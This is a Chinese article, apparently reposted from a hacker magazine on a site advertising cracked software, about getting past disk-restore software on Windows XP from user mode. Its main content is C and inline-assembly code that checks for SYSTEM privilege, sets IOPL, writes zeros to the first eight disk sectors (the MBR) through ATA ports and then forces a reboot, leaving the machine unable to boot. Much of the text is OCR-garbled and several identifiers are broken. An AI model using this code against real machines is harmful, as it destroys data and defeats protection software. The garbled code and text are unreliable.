免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 各类编程 > ring3下穿透磁盘还原技术揭秘(4)

ring3下穿透磁盘还原技术揭秘(4)

时间:2012-02-04 14:59来源:未知 整理:寂涯网络 点击:


接着我再介绍在1^叩3下直接1/0的方式,也有几个条件:1、8¥81f1权限,2、然后调用 ZwSetInformationProcess给操作进程设置1/0操作的权限,也就是设置参数I0PL。如何让 进程具有5%切^1权限,有几种方法:父进程具有巧社咖权限,那么创建子进程也会继承权 限;父线程具有巧⑶挪权限,那么创建的子线程也可以继承该权卩¥^40^的方法;创 建服务进程,自动就有syste^l权限;H00K ZwCreateProcessEx函数等等。 我采用创建服务进程,然后在服务进程创建子进程,让其继^^^的system权限即可, 下面是直接读写1/0来清零MBR的核心代码:
 ^r_X/ / 
00L IsSystemLevel()
{
B00L result=FALSE;
0SVERSI0NINF0 osv;
CHAR username[30]={0};
DWORD cb=30;
ZeroMemory(&osv, sizeof(osv)); osv. dwOSVersionInfoSize=sizeof(osv);
//判断操作系统是否为NT以上 GetVersionExA(&osv);
if (!(osv. dwPlatformId &VER_PLATF0RM_WIN32_NT))
{
result = FALSE; return result;
}
//判断用户是否是Administrator GetUserNameA (username, &cb);
OutputDebugStringA(username); if (stricmp(username, 〃system〃))
{
result = FALSE; return result;
}
return 1;
}
//进程获取system的权限后,设置I0PL=TRUE,可以在UserM0de操作1/0端口 B00L EnableUserModeHardwareIO()
{
B00L result=FALSE;
DWORD dwProces sID=GetCurrentProces sId();
a
5UBJECTLAYDUT
>栏目编》> wlf>
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); HMODULE hNTDLL = GetModuleHandleACntdlLdirO ;
DWORD ZwSetInformat i onProce s s_Addres s;
ULONG I0PL=1; if (hNTDLL)
{
ZwSetInformationProcess_Address (DWORD)GetProcAddress(hNTDLL, "ZwSetInformationProcess"); if (ZwSetInformationProcess_Address)
{ 一 result =IsSystemLevel(); if (result)
{
—asm{
pushad push 4 lea eax, IOPL push eax push 16 push hProcess
call ZwSe11nformationProcess_Address
mov result, eax
popad
}
if (!result) result =TRUE;
}
}
}
CloseHandle(hProcess); return result;
}
/m i/o端口读写磁盘,将磁盘的前8个扇区清o int UsermodeByPass()
//要写入的磁盘号及磁头号 al, 0x00
//要写入的扇区数量
//要写的扇区号
//要写的柱面的低8位
"柱面高2位
//命令端口
//尝试写入扇区
in al, dx
test al, 8 jz short inputs xor ecx, ecx mov cx, 100h mov dx, lFOh lea esi, [inbuf] cli cld
rep outsw sti
}
shutdownsys();
return 0;
}
int shutdownsys()
{
_asm mov dx, 0x64 _asm mov al, 0xFE _asm out dx, al return 0;
使用ZwSetInformationProcess设置参数IOPL的值为TRUE时,进程就具有1/0操作权 限,记得去年我写的黑防一篇文章-〈〈内核编程读写CMOS>>,黑防迷们不知道还有没有印象, 里面就提到过0?1〈=10?1时,就可以读写1/0,0?1代表内核模式为0,应用层模式为3;因 此CPL=0<=IOPL —定成立。每个进程都有EPR0CESS->KPR0CESS, PCB里面的参数Iopl如果 丁即艮那么f?1八&5寄存器中I0PL值为3,那么即使0?1=3〈=10?1,所以关键就在于使得条件 0卩1〈=10?1成立,那么就可以读写1/0,所以在内核和应用层里读写1/0其实是一样的,只 是为了能够有读写1/0权限,其他代码就不过多阐述,如何读写磁盘跟如8编程读写一样, 在寄存器里设置读写位置、大小(扇区为单元),然后用0址、化来操作,为了防止关机时, 某些还原软件会通过关机回调函数来恢复咖民因此直接1/0关机。环境^化册SP3 +还原 精灵7。

重启后,MBR被清0,无法进入系统,效果跟前面使用3031指令穿透效果一样。不过这 种方式已经被很多安全软件所监控到,权限提升,意图太明显,1/0读写文件的通用性不好。
RING3下穿透还原的技术肯定不止这两种,核心技术就是想办法绕过还原过滤驱动,将 读写指令往更底层的驱动下发送,当然由于町!^(^8操作系统的封闭性(不开源)、隐蔽性 (内藏很多特性未公开)、脆弱性(程序漏洞)等等,很多黑客如果研究到了某一块,发现某 些特性正好可以用来穿透还原,也未可知也;早先国内大牛猪头三就放出一个穿透13化,由 于加了多层变态壳,我也没有分析出其穿透还原的原理,以后有机会或者有谁能研究出结果 不妨也放在黑客防线上交流一下。另外,国外某些知名黑客论坛也有公布这方面的信息,老 外的技术确实很强;还有一些病毒、木马的技术也是来源于此,技术永远在日新月异的更新, 这篇文章我确实写了很长时间,虽然代码早已写出,但是要将原理讲透彻、把复杂问题简单 化有时真的实在很难,谢谢各位读者,仓促之间本文难免有些不足之处,欢迎批评指正!

本页地址 http://www.jybase.net/biancheng/20120204763.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com